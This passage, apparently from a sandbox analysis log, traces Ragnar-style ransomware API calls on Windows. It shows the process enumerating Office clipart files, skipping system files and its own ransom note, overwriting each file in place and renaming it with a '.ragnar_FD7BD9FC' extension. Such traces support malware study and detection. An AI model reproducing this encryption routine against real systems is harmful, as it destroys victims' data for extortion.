lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.220] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.220] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xbaaa, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xbaaa, lpOverlapped=0x0) returned 1 [0080.222] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.222] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbaaa, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.222] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xbaaa, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xbaaa, lpOverlapped=0x0) returned 1 [0080.222] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbaaa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.222] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.223] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbaaa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.223] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.223] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.223] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.223] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.223] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.223] GetProcessHeap () returned 0x580000 [0080.223] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.223] CloseHandle (hObject=0xf4) returned 1 [0080.223] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" [0080.223] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.ragnar_FD7BD9FC" [0080.223] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.224] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x38cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09194_.WMF", cAlternateFileName="")) returned 1 [0080.224] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.224] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BD09194_.WMF" | out: lpString1="BD09194_.WMF") returned="BD09194_.WMF" [0080.224] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned=".WMF" [0080.224] lstrcmpiW (lpString1="BD09194_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.224] lstrcmpiW (lpString1="BD09194_.WMF", lpString2="autorun.inf") returned 1 [0080.224] lstrcmpiW (lpString1="BD09194_.WMF", lpString2="boot.ini") returned -1 [0080.224] lstrcmpiW (lpString1="BD09194_.WMF", lpString2="bootfont.bin") returned -1 [0080.224] lstrcmpiW (lpString1="BD09194_.WMF", lpString2="bootsect.bak") returned -1 [0080.224] lstrcmpiW (lpString1="BD09194_.WMF", lpString2="bootmgr") returned -1 [0080.224] lstrcmpiW (lpString1="BD09194_.WMF", lpString2="bootmgr.efi") returned -1 [0080.224] lstrcmpiW (lpString1="BD09194_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.224] lstrcmpiW (lpString1="BD09194_.WMF", lpString2="desktop.ini") returned -1 [0080.224] lstrcmpiW (lpString1="BD09194_.WMF", lpString2="iconcache.db") returned -1 [0080.224] lstrcmpiW (lpString1="BD09194_.WMF", lpString2="ntldr") returned -1 [0080.224] lstrcmpiW (lpString1="BD09194_.WMF", lpString2="ntuser.dat") returned -1 [0080.224] lstrcmpiW (lpString1="BD09194_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.224] lstrcmpiW (lpString1="BD09194_.WMF", lpString2="ntuser.ini") returned -1 [0080.224] lstrcmpiW (lpString1="BD09194_.WMF", lpString2="thumbs.db") returned -1 [0080.225] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.225] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.225] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.225] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.225] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.225] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.225] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x20 [0080.225] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.225] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14540) returned 1 [0080.225] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x38c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.225] GetProcessHeap () returned 0x580000 [0080.225] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.225] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.227] VirtualAlloc (lpAddress=0x0, dwSize=0x38cc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.227] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.227] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.227] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x38cc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x38cc, lpOverlapped=0x0) returned 1 [0080.228] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.228] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x38cc, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.228] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x38cc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x38cc, lpOverlapped=0x0) returned 1 [0080.228] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x38cc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.228] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.228] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x38cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.228] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.229] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.229] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.229] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.229] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.229] GetProcessHeap () returned 0x580000 [0080.229] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.229] CloseHandle (hObject=0xf4) returned 1 [0080.229] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" [0080.229] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.ragnar_FD7BD9FC" [0080.229] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.230] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x504a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09662_.WMF", cAlternateFileName="")) returned 1 [0080.230] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.230] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BD09662_.WMF" | out: lpString1="BD09662_.WMF") returned="BD09662_.WMF" [0080.230] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned=".WMF" [0080.230] lstrcmpiW (lpString1="BD09662_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.230] lstrcmpiW (lpString1="BD09662_.WMF", lpString2="autorun.inf") returned 1 [0080.230] lstrcmpiW (lpString1="BD09662_.WMF", lpString2="boot.ini") returned -1 [0080.230] lstrcmpiW (lpString1="BD09662_.WMF", lpString2="bootfont.bin") returned -1 [0080.230] lstrcmpiW (lpString1="BD09662_.WMF", lpString2="bootsect.bak") returned -1 [0080.230] lstrcmpiW (lpString1="BD09662_.WMF", lpString2="bootmgr") returned -1 [0080.230] lstrcmpiW (lpString1="BD09662_.WMF", lpString2="bootmgr.efi") returned -1 [0080.230] lstrcmpiW (lpString1="BD09662_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.230] lstrcmpiW (lpString1="BD09662_.WMF", lpString2="desktop.ini") returned -1 [0080.230] lstrcmpiW (lpString1="BD09662_.WMF", lpString2="iconcache.db") returned -1 [0080.230] lstrcmpiW (lpString1="BD09662_.WMF", lpString2="ntldr") returned -1 [0080.230] lstrcmpiW (lpString1="BD09662_.WMF", lpString2="ntuser.dat") returned -1 [0080.230] lstrcmpiW (lpString1="BD09662_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.230] lstrcmpiW (lpString1="BD09662_.WMF", lpString2="ntuser.ini") returned -1 [0080.230] lstrcmpiW (lpString1="BD09662_.WMF", lpString2="thumbs.db") returned -1 [0080.230] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.230] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.230] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.230] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.230] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.230] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.230] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x20 [0080.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.231] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=20554) returned 1 [0080.231] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5041, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.231] GetProcessHeap () returned 0x580000 [0080.231] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.231] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.233] VirtualAlloc (lpAddress=0x0, dwSize=0x504a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.233] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.233] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.233] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x504a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x504a, lpOverlapped=0x0) returned 1 [0080.234] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.234] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x504a, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.234] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x504a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x504a, lpOverlapped=0x0) returned 1 [0080.235] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x504a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.235] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.235] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x504a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.235] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.235] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.235] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.235] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.235] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.235] GetProcessHeap () returned 0x580000 [0080.235] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.235] CloseHandle (hObject=0xf4) returned 1 [0080.236] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" [0080.236] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.ragnar_FD7BD9FC" [0080.236] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.236] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09664_.WMF", cAlternateFileName="")) returned 1 [0080.236] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.236] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BD09664_.WMF" | out: lpString1="BD09664_.WMF") returned="BD09664_.WMF" [0080.236] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned=".WMF" [0080.236] lstrcmpiW (lpString1="BD09664_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.236] lstrcmpiW (lpString1="BD09664_.WMF", lpString2="autorun.inf") returned 1 [0080.236] lstrcmpiW (lpString1="BD09664_.WMF", lpString2="boot.ini") returned -1 [0080.236] lstrcmpiW (lpString1="BD09664_.WMF", lpString2="bootfont.bin") returned -1 [0080.237] lstrcmpiW (lpString1="BD09664_.WMF", lpString2="bootsect.bak") returned -1 [0080.237] lstrcmpiW (lpString1="BD09664_.WMF", lpString2="bootmgr") returned -1 [0080.237] lstrcmpiW (lpString1="BD09664_.WMF", lpString2="bootmgr.efi") returned -1 [0080.237] lstrcmpiW (lpString1="BD09664_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.237] lstrcmpiW (lpString1="BD09664_.WMF", lpString2="desktop.ini") returned -1 [0080.237] lstrcmpiW (lpString1="BD09664_.WMF", lpString2="iconcache.db") returned -1 [0080.237] lstrcmpiW (lpString1="BD09664_.WMF", lpString2="ntldr") returned -1 [0080.237] lstrcmpiW (lpString1="BD09664_.WMF", lpString2="ntuser.dat") returned -1 [0080.237] lstrcmpiW (lpString1="BD09664_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.237] lstrcmpiW (lpString1="BD09664_.WMF", lpString2="ntuser.ini") returned -1 [0080.237] lstrcmpiW (lpString1="BD09664_.WMF", lpString2="thumbs.db") returned -1 [0080.237] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.237] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.237] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.237] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.237] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.237] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.237] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x20 [0080.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.237] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7966) returned 1 [0080.237] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f15, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.237] GetProcessHeap () returned 0x580000 [0080.238] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.238] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.239] VirtualAlloc (lpAddress=0x0, dwSize=0x1f1e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.239] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.239] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.239] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1f1e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1f1e, lpOverlapped=0x0) returned 1 [0080.240] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.240] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f1e, 